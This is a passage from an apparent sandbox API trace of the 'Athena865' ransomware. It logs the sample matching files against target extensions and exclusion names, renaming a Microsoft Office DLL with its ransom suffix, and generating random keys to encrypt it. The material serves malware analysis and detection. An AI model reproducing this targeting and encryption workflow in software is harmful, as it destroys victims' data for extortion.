(lpString1="DLL", lpString2="ba_") returned 1 [0080.596] lstrlenW (lpString="dbb") returned 3 [0080.596] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.596] lstrlenW (lpString="vmdk") returned 4 [0080.596] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.596] lstrlenW (lpString="rar") returned 3 [0080.596] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.596] lstrlenW (lpString="zip") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.597] lstrlenW (lpString="tgz") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.597] lstrlenW (lpString="vbox") returned 4 [0080.597] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.597] lstrlenW (lpString="vdi") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.597] lstrlenW (lpString="vhd") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.597] lstrlenW (lpString="vhdx") returned 4 [0080.597] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.597] lstrlenW (lpString="avhd") returned 4 [0080.597] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.597] lstrlenW (lpString="db") returned 2 [0080.597] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.597] lstrlenW (lpString="db2") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.597] lstrlenW (lpString="db3") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.597] lstrlenW (lpString="dbf") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.597] lstrlenW (lpString="mdf") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.597] lstrlenW (lpString="mdb") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.597] lstrlenW (lpString="sql") returned 3 [0080.597] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.597] lstrlenW (lpString="sqlite") returned 6 [0080.597] lstrcmpiW (lpString1="PP.DLL", lpString2="sqlite") returned -1 [0080.597] lstrlenW (lpString="sqlite3") returned 7 [0080.597] lstrcmpiW (lpString1="APP.DLL", lpString2="sqlite3") returned -1 [0080.597] lstrlenW (lpString="sqlitedb") returned 8 [0080.597] lstrcmpiW (lpString1="SAPP.DLL", lpString2="sqlitedb") returned -1 [0080.597] lstrlenW (lpString="xml") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.598] lstrlenW (lpString="$er") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.598] lstrlenW (lpString="4dd") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.598] lstrlenW (lpString="4dl") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.598] lstrlenW (lpString="^^^") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.598] lstrlenW (lpString="abs") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.598] lstrlenW (lpString="abx") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.598] lstrlenW (lpString="accdb") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accdb") returned 1 [0080.598] lstrlenW (lpString="accdc") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accdc") returned 1 [0080.598] lstrlenW (lpString="accde") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accde") returned 1 [0080.598] lstrlenW (lpString="accdr") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accdr") returned 1 [0080.598] lstrlenW (lpString="accdt") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accdt") returned 1 [0080.598] lstrlenW (lpString="accdw") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accdw") returned 1 [0080.598] lstrlenW (lpString="accft") returned 5 [0080.598] lstrcmpiW (lpString1="P.DLL", lpString2="accft") returned 1 [0080.598] lstrlenW (lpString="adb") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.598] lstrlenW (lpString="adb") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.598] lstrlenW (lpString="ade") returned 3 [0080.598] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.599] lstrlenW (lpString="adf") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.599] lstrlenW (lpString="adn") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.599] lstrlenW (lpString="adp") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.599] lstrlenW (lpString="alf") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.599] lstrlenW (lpString="ask") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.599] lstrlenW (lpString="btr") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.599] lstrlenW (lpString="cat") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.599] lstrlenW (lpString="cdb") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.599] lstrlenW (lpString="ckp") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0080.599] lstrlenW (lpString="cma") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.599] lstrlenW (lpString="cpd") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.599] lstrlenW (lpString="dacpac") returned 6 [0080.599] lstrcmpiW (lpString1="PP.DLL", lpString2="dacpac") returned 1 [0080.599] lstrlenW (lpString="dad") returned 3 [0080.599] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.599] lstrlenW (lpString="dadiagrams") returned 10 [0080.599] lstrlenW (lpString="daschema") returned 8 [0080.599] lstrcmpiW (lpString1="SAPP.DLL", lpString2="daschema") returned 1 [0080.599] lstrlenW (lpString="db-journal") returned 10 [0080.599] lstrlenW (lpString="db-shm") returned 6 [0080.599] lstrcmpiW (lpString1="PP.DLL", lpString2="db-shm") returned 1 [0080.599] lstrlenW (lpString="db-wal") returned 6 [0080.600] lstrcmpiW (lpString1="PP.DLL", lpString2="db-wal") returned 1 [0080.600] lstrlenW (lpString="dbc") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.600] lstrlenW (lpString="dbs") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.600] lstrlenW (lpString="dbt") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.600] lstrlenW (lpString="dbv") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.600] lstrlenW (lpString="dbx") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.600] lstrlenW (lpString="dcb") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.600] lstrlenW (lpString="dct") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.600] lstrlenW (lpString="dcx") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0080.600] lstrlenW (lpString="ddl") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0080.600] lstrlenW (lpString="dlis") returned 4 [0080.600] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0080.600] lstrlenW (lpString="dp1") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0080.600] lstrlenW (lpString="dqy") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0080.600] lstrlenW (lpString="dsk") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0080.600] lstrlenW (lpString="dsn") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0080.600] lstrlenW (lpString="dtsx") returned 4 [0080.600] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0080.600] lstrlenW (lpString="dxl") returned 3 [0080.600] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0080.601] lstrlenW (lpString="eco") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0080.601] lstrlenW (lpString="ecx") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0080.601] lstrlenW (lpString="edb") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0080.601] lstrlenW (lpString="epim") returned 4 [0080.601] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0080.601] lstrlenW (lpString="fcd") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0080.601] lstrlenW (lpString="fdb") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0080.601] lstrlenW (lpString="fic") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0080.601] lstrlenW (lpString="flexolibrary") returned 12 [0080.601] lstrlenW (lpString="fm5") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0080.601] lstrlenW (lpString="fmp") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0080.601] lstrlenW (lpString="fmp12") returned 5 [0080.601] lstrcmpiW (lpString1="P.DLL", lpString2="fmp12") returned 1 [0080.601] lstrlenW (lpString="fmpsl") returned 5 [0080.601] lstrcmpiW (lpString1="P.DLL", lpString2="fmpsl") returned 1 [0080.601] lstrlenW (lpString="fol") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0080.601] lstrlenW (lpString="fp3") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0080.601] lstrlenW (lpString="fp4") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0080.601] lstrlenW (lpString="fp5") returned 3 [0080.601] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0080.601] lstrlenW (lpString="fp7") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0080.602] lstrlenW (lpString="fpt") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0080.602] lstrlenW (lpString="frm") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0080.602] lstrlenW (lpString="gdb") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.602] lstrlenW (lpString="gdb") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.602] lstrlenW (lpString="grdb") returned 4 [0080.602] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0080.602] lstrlenW (lpString="gwi") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0080.602] lstrlenW (lpString="hdb") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0080.602] lstrlenW (lpString="his") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0080.602] lstrlenW (lpString="ib") returned 2 [0080.602] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0080.602] lstrlenW (lpString="idb") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0080.602] lstrlenW (lpString="ihx") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0080.602] lstrlenW (lpString="itdb") returned 4 [0080.602] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0080.602] lstrlenW (lpString="itw") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0080.602] lstrlenW (lpString="jet") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0080.602] lstrlenW (lpString="jtx") returned 3 [0080.602] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0080.602] lstrlenW (lpString="kdb") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0080.603] lstrlenW (lpString="kexi") returned 4 [0080.603] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0080.603] lstrlenW (lpString="kexic") returned 5 [0080.603] lstrcmpiW (lpString1="P.DLL", lpString2="kexic") returned 1 [0080.603] lstrlenW (lpString="kexis") returned 5 [0080.603] lstrcmpiW (lpString1="P.DLL", lpString2="kexis") returned 1 [0080.603] lstrlenW (lpString="lgc") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0080.603] lstrlenW (lpString="lwx") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0080.603] lstrlenW (lpString="maf") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0080.603] lstrlenW (lpString="maq") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0080.603] lstrlenW (lpString="mar") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0080.603] lstrlenW (lpString="marshal") returned 7 [0080.603] lstrcmpiW (lpString1="APP.DLL", lpString2="marshal") returned -1 [0080.603] lstrlenW (lpString="mas") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0080.603] lstrlenW (lpString="mav") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0080.603] lstrlenW (lpString="maw") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0080.603] lstrlenW (lpString="mdbhtml") returned 7 [0080.603] lstrcmpiW (lpString1="APP.DLL", lpString2="mdbhtml") returned -1 [0080.603] lstrlenW (lpString="mdn") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0080.603] lstrlenW (lpString="mdt") returned 3 [0080.603] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0080.603] lstrlenW (lpString="mfd") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0080.604] lstrlenW (lpString="mpd") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0080.604] lstrlenW (lpString="mrg") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0080.604] lstrlenW (lpString="mud") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0080.604] lstrlenW (lpString="mwb") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0080.604] lstrlenW (lpString="myd") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0080.604] lstrlenW (lpString="ndf") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0080.604] lstrlenW (lpString="nnt") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0080.604] lstrlenW (lpString="nrmlib") returned 6 [0080.604] lstrcmpiW (lpString1="PP.DLL", lpString2="nrmlib") returned 1 [0080.604] lstrlenW (lpString="ns2") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0080.604] lstrlenW (lpString="ns3") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0080.604] lstrlenW (lpString="ns4") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0080.604] lstrlenW (lpString="nsf") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0080.604] lstrlenW (lpString="nv") returned 2 [0080.604] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0080.604] lstrlenW (lpString="nv2") returned 3 [0080.604] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0080.604] lstrlenW (lpString="nwdb") returned 4 [0080.604] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0080.604] lstrlenW (lpString="nyf") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0080.605] lstrlenW (lpString="odb") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.605] lstrlenW (lpString="odb") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.605] lstrlenW (lpString="oqy") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0080.605] lstrlenW (lpString="ora") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0080.605] lstrlenW (lpString="orx") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0080.605] lstrlenW (lpString="owc") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0080.605] lstrlenW (lpString="p96") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0080.605] lstrlenW (lpString="p97") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0080.605] lstrlenW (lpString="pan") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0080.605] lstrlenW (lpString="pdb") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0080.605] lstrlenW (lpString="pdm") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0080.605] lstrlenW (lpString="pnz") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0080.605] lstrlenW (lpString="qry") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0080.605] lstrlenW (lpString="qvd") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0080.605] lstrlenW (lpString="rbf") returned 3 [0080.605] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0080.605] lstrlenW (lpString="rctd") returned 4 [0080.606] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0080.606] lstrlenW (lpString="rod") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0080.606] lstrlenW (lpString="rodx") returned 4 [0080.606] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0080.606] lstrlenW (lpString="rpd") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0080.606] lstrlenW (lpString="rsd") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0080.606] lstrlenW (lpString="sas7bdat") returned 8 [0080.606] lstrcmpiW (lpString1="SAPP.DLL", lpString2="sas7bdat") returned -1 [0080.606] lstrlenW (lpString="sbf") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0080.606] lstrlenW (lpString="scx") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0080.606] lstrlenW (lpString="sdb") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0080.606] lstrlenW (lpString="sdc") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0080.606] lstrlenW (lpString="sdf") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0080.606] lstrlenW (lpString="sis") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0080.606] lstrlenW (lpString="spq") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0080.606] lstrlenW (lpString="te") returned 2 [0080.606] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0080.606] lstrlenW (lpString="teacher") returned 7 [0080.606] lstrcmpiW (lpString1="APP.DLL", lpString2="teacher") returned -1 [0080.606] lstrlenW (lpString="tmd") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0080.606] lstrlenW (lpString="tps") returned 3 [0080.606] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0080.607] lstrlenW (lpString="trc") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.607] lstrlenW (lpString="trc") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.607] lstrlenW (lpString="trm") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0080.607] lstrlenW (lpString="udb") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0080.607] lstrlenW (lpString="udl") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0080.607] lstrlenW (lpString="usr") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0080.607] lstrlenW (lpString="v12") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0080.607] lstrlenW (lpString="vis") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0080.607] lstrlenW (lpString="vpd") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0080.607] lstrlenW (lpString="vvv") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0080.607] lstrlenW (lpString="wdb") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0080.607] lstrlenW (lpString="wmdb") returned 4 [0080.607] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0080.607] lstrlenW (lpString="wrk") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0080.607] lstrlenW (lpString="xdb") returned 3 [0080.607] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0080.608] lstrlenW (lpString="xld") returned 3 [0080.608] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0080.608] lstrlenW (lpString="xmlff") returned 5 [0080.608] lstrcmpiW (lpString1="P.DLL", lpString2="xmlff") returned -1 [0080.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL.Athena865") returned 63 [0080.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oisapp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oisapp.dll.athena865"), dwFlags=0x1) returned 1 [0080.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISAPP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oisapp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.609] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1530224) returned 1 [0080.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.610] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.610] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.610] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.611] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175c70, lpName=0x0) returned 0x17c [0080.612] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x175c70) returned 0x2d50000 [0080.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.666] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.666] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.667] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.680] CloseHandle (hObject=0x17c) returned 1 [0080.680] CloseHandle (hObject=0x154) returned 1 [0080.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.686] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0080.686] lstrcmpiW (lpString1="oisctrl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="..") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="windows") returned -1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="bootmgr") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="temp") returned -1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="pagefile.sys") returned -1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="boot") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="ids.txt") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="ntuser.dat") returned 1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="perflogs") returned -1 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2="MSBuild") returned 1 [0080.687] lstrlenW (lpString="oisctrl.dll") returned 11 [0080.687] lstrcpyW (in: lpString1=0x241e89e, lpString2="oisctrl.dll" | out: lpString1="oisctrl.dll") returned="oisctrl.dll" [0080.687] lstrlenW (lpString="oisctrl.dll") returned 11 [0080.687] lstrlenW (lpString="Athena865") returned 9 [0080.687] lstrcmpiW 